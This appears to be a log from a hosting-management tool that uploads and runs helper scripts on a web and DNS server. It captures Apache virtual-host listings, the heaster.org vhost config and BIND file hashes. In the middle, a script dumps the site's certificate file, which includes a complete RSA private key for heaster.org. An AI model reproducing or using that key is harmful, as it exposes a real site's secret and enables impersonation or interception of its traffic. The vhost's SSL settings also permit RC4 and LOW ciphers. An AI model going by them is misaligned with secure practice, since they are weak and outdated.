MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-01-03 19:21:28: Establishing a connection
2026-01-03 19:21:28: 

PUT: /tmp/pkp224940

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-01-03 19:21:28: 

chmod 755 /tmp/pkp224940; /tmp/pkp224940; rm /tmp/pkp224940

2026-01-03 19:21:29: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server jupiter (/etc/apache2/sites-enabled/000-default.conf:3)
         port 80 namevhost jupiter (/etc/apache2/sites-enabled/000-default.conf:3)
         port 80 namevhost aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:2)
                 alias www.aletheiacollege.net
         port 80 namevhost christadelphia.net (/etc/apache2/sites-enabled/christadelphia_www_net.conf:2)
                 alias www.christadelphia.net
         port 80 namevhost gospelstudies.net (/etc/apache2/sites-enabled/gospelstudies_www_net.conf:2)
                 alias www.gospelstudies.net
         port 80 namevhost heaster.org (/etc/apache2/sites-enabled/heaster_www_org.conf:2)
                 alias www.heaster.org
         port 80 namevhost jupiter.hostz.org (/etc/apache2/sites-enabled/hostz_jupiter_org.conf:2)
         port 80 namevhost hristadelfiane.org (/etc/apache2/sites-enabled/hristadelfiane_www_org.conf:2)
                 alias www.hristadelfiane.org
         port 80 namevhost osnovybiblii.info (/etc/apache2/sites-enabled/osnovybiblii_www_info.conf:2)
                 alias www.osnovybiblii.info
         port 80 namevhost realdevil.info (/etc/apache2/sites-enabled/realdevil_www_info.conf:2)
                 alias www.realdevil.info
*:443                  is a NameVirtualHost
         default server aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:23)
         port 443 namevhost aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:23)
                 alias www.aletheiacollege.net
         port 443 namevhost christadelphia.net (/etc/apache2/sites-enabled/christadelphia_www_net.conf:23)
                 alias www.christadelphia.net
         port 443 namevhost gospelstudies.net (/etc/apache2/sites-enabled/gospelstudies_www_net.conf:23)
                 alias www.gospelstudies.net
         port 443 namevhost heaster.org (/etc/apache2/sites-enabled/heaster_www_org.conf:23)
                 alias www.heaster.org
         port 443 namevhost jupiter.hostz.org (/etc/apache2/sites-enabled/hostz_jupiter_org.conf:22)
         port 443 namevhost hristadelfiane.org (/etc/apache2/sites-enabled/hristadelfiane_www_org.conf:23)
                 alias www.hristadelfiane.org
         port 443 namevhost osnovybiblii.info (/etc/apache2/sites-enabled/osnovybiblii_www_info.conf:23)
                 alias www.osnovybiblii.info
         port 443 namevhost realdevil.info (/etc/apache2/sites-enabled/realdevil_www_info.conf:23)
                 alias www.realdevil.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2026-01-03 19:21:29: 

PUT: /tmp/pkp103677

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/heaster_www_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-01-03 19:21:29: 

chmod 755 /tmp/pkp103677; /tmp/pkp103677; rm /tmp/pkp103677

2026-01-03 19:21:29: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/heaster_www_org.conf	1347

<VirtualHost *:80>
    ServerName	heaster.org
    ServerAlias	www.heaster.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/heaster_www
    <Directory /var/www/heaster_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/heaster/www_access.log combined
    ErrorLog	/var/log/apache2/heaster/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	heaster.org
    ServerAlias	www.heaster.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/d76ac506d6f13662e06babf635b43fda.crt
    DocumentRoot	/var/www/heaster_www
    <Directory /var/www/heaster_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/heaster/www_secure_access.log combined
    ErrorLog	/var/log/apache2/heaster/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-01-03 19:21:29: 

PUT: /tmp/pkp525797

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/d76ac506d6f13662e06babf635b43fda.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-01-03 19:21:29: 

chmod 755 /tmp/pkp525797; /tmp/pkp525797; rm /tmp/pkp525797

2026-01-03 19:21:29: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/d76ac506d6f13662e06babf635b43fda.crt	5357
d6:4a:3c:12:18:d4:48:f9:af:4c:e3:6e:dd:2b:5d:c7

-----BEGIN CERTIFICATE-----
MIIFAzCCA+ugAwIBAgISBcDLmx4PB+5LK1bqxufcXZPAMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMjI4MDUwMTQ4WhcNMjYwMzI4MDUwMTQ3WjAWMRQwEgYDVQQD
EwtoZWFzdGVyLm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALVf
dCmsk7CrJ4sBBgszBgpENVOa3kBmYU0Pu/LkdzQXxPu45EM7P6rAt/kgp6eN8+RM
orHodJozP/+3RqyVbXyS+XNshsfPfkGU4XTMwR46EhpbmpYKamyJCUVbauGr9+Zd
WM8S+KulipVILgAqY3NajzaPerH5NN9Rn7778b+vnHQzyRreke1ouV7Vp/IcV4SW
w2vNq0y1nz9NCaR2T6z31q5rhEzOFd3rxP74AxphFfR/cd/L90jbdpBE/ZDMhfEw
rBjODOojJiagQ6dQ+jdWKG6mm4AtLc48OCj1wo+SEVmCtX57Cmc1u/UDD5Zh/z58
LnIvHSJueDafF97gMVkCAwEAAaOCAiwwggIoMA4GA1UdDwEB/wQEAwIFoDAdBgNV
HSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNVHQ4E
FgQUYr/nUdLudQGuYWcas7YSQCbAhuwwHwYDVR0jBBgwFoAUALUp8i2ObzHom0yt
eD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEy
LmkubGVuY3Iub3JnLzAnBgNVHREEIDAeggtoZWFzdGVyLm9yZ4IPd3d3LmhlYXN0
ZXIub3JnMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0
dHA6Ly9yMTIuYy5sZW5jci5vcmcvNjUuY3JsMIIBBAYKKwYBBAHWeQIEAgSB9QSB
8gDwAHUADleUvPOuqT4zGyyZB7P3kN+bwj1xMiXdIaklrGHFTiEAAAGbY4sVlQAA
BAMARjBEAiB2bTq6CpmyoAWvkUxyEpMJLqxPUC7xfV6j6fuFmvWZ6AIgK6Y7ZI5Z
JFSbyLktxLE5e3gkHNP8mSvz4D1q//Zv/3wAdwDRbqmlaAd+ZjWgPzel3bwDpTxB
EhTUiBj16TGzI8uVBAAAAZtjixZ6AAAEAwBIMEYCIQChqC5CBtS72F9BpCcgTHHg
5mcWImBPypqOKgbCA01aqgIhANidjmI4mzbNwAyhiOuRxQzUIcGtF0XcpBHZPq7O
vz5CMA0GCSqGSIb3DQEBCwUAA4IBAQCRpUWvd6nMoujy41EJU22y5kZtoa/ekKox
y3yk+m5tUgaHAxp8SryPD1Aowrez6wC03FbeYAVts0dJLvNuZyLqx2TTn7zxj8iR
oioUulLsvrlDPb7d/dGu17RQBbfiAxd+0NK3JnIjxvONhtLLDjFs2JPK/JB9jj9i
0YDOewBHCRwd5CS5Ew4LRV7P49Oj9iExw6dFK9m6FYaNFfNzfFVO8gik+cray6ZL
9PYd7N3DdKm3Lij1jTnOZ0L+WN4YiSAyBfG3qk/JrzGput16Lo858iZ4cWsokW8h
Z3bXBFzsp7kXFAMiJjW6SQsAC8aa3/AMr4nRH+DSoxxK+y5E/vk4
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC1X3QprJOwqyeL
AQYLMwYKRDVTmt5AZmFND7vy5Hc0F8T7uORDOz+qwLf5IKenjfPkTKKx6HSaMz//
t0aslW18kvlzbIbHz35BlOF0zMEeOhIaW5qWCmpsiQlFW2rhq/fmXVjPEvirpYqV
SC4AKmNzWo82j3qx+TTfUZ+++/G/r5x0M8ka3pHtaLle1afyHFeElsNrzatMtZ8/
TQmkdk+s99aua4RMzhXd68T++AMaYRX0f3Hfy/dI23aQRP2QzIXxMKwYzgzqIyYm
oEOnUPo3VihuppuALS3OPDgo9cKPkhFZgrV+ewpnNbv1Aw+WYf8+fC5yLx0ibng2
nxfe4DFZAgMBAAECggEAE2b0a3/bZb8NchyIK7sH1qHQzZKH235IQuDfw35GtTMk
vqPbAUktiKPomlUwsicok7/R+LOsA5HfcwjFXfF3PqgPWNZffbD36eaWDrNXplbi
eGDbwti25UjsjbeXkbAeiw1p0m8OXHhPQKRxzVE7hcvGfbjwEGlfC1O1Qc48YHun
4bpUOUs1SQlPBUQ+/OxrK7lu9ImS+OQS6okWFYrnb6Z2W8mhbPBjZKhGZslbc+NY
s8+RvUmZ+IVc+mByR4g+lLcjNEtsUHDz+53KyssSole4ThfYuH+C7QWfZVnQ1m8l
m0AoqtehyK3/mA1xz2bpOIe6mtOmF/gpZHF+1FONwQKBgQDeqCpxcEniTeYligme
3GuxXwlv4quW/tsizxAGhCrkWCoETarB0H04Kt4A0LqRofdag1kZU8ka1nNBlSoi
Ty7Jsd2uhlGGQIoF0H3R9Hv2K2UM9ImBlEB540lmQXhmU6a2+rD8zvn33DaPrWuR
/1cxRBviVIgQ+3u0bCJIfo1w+QKBgQDQiJzBtiidr2QMbfgb/lUvCZrZQ9zILhVb
GuSKT3a31ov3Tdj4ge2DjOz0g/yjVQ4jpqvfHs8G+5nuiLR/jH1xSGY/BPLCPgOg
SKHQIh4YRSYA6Oej9I1Rf6DM4mWurTVzRxC/+r4FZSpqWEJ14bntgIa5jODO/A+S
Q2AuYvc7YQKBgDGO5puHLbrEMfSrC8cjMokxKQ2ROzYJlcbipaN9qXpXsUpx6w7m
k+h7ihxOWShvD3pDAALmJj3l+5NeWxl13GkiQMBGv0CNfusaY9bmfuzk7cH7b9u6
nrtCfqTW77B+7/2MQPaULwkfJ7nFFMtTNRoPGdG/lOWKxBb9dogCOwMpAoGBAJ1v
ZhmBMuzJa5lOtNA9lYYrlDKPX3HqCMl9ZildkN1+JrGQnkwPm4eDr6lytBuDrWcR
ABU1J0u4TCCgKNVa9aG+7SKK09P+CbLK4w9Fkr70BZsOO0O277IlzvqfufDEZ+Qe
NPEblrZwCDO9an+g6UP7krsnNtpNxlvAbi7XHJxBAoGBAKXQXN0jfTgEvGM2TF88
eHIUvk9WTCemANvH366ivKbtcD8ID46YqaPrPvCqG9to59uz3c/iFD/E6KCZvxVE
Ilf13YwjCrIur9UvTH8KSDYcJue3/5iJtqw1ertsvUCDoCr5gNAwMkwDfwRmcI5q
BqoAmxHDZso6tightp61I8Ej
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2026-01-03 19:21:29: Establishing a connection
2026-01-03 19:21:30: 

PUT: /tmp/pkp269811

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-01-03 19:21:30: 

runuser -l bind -s /bin/bash -c '/tmp/pkp269811; rm /tmp/pkp269811'

2026-01-03 19:21:30: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
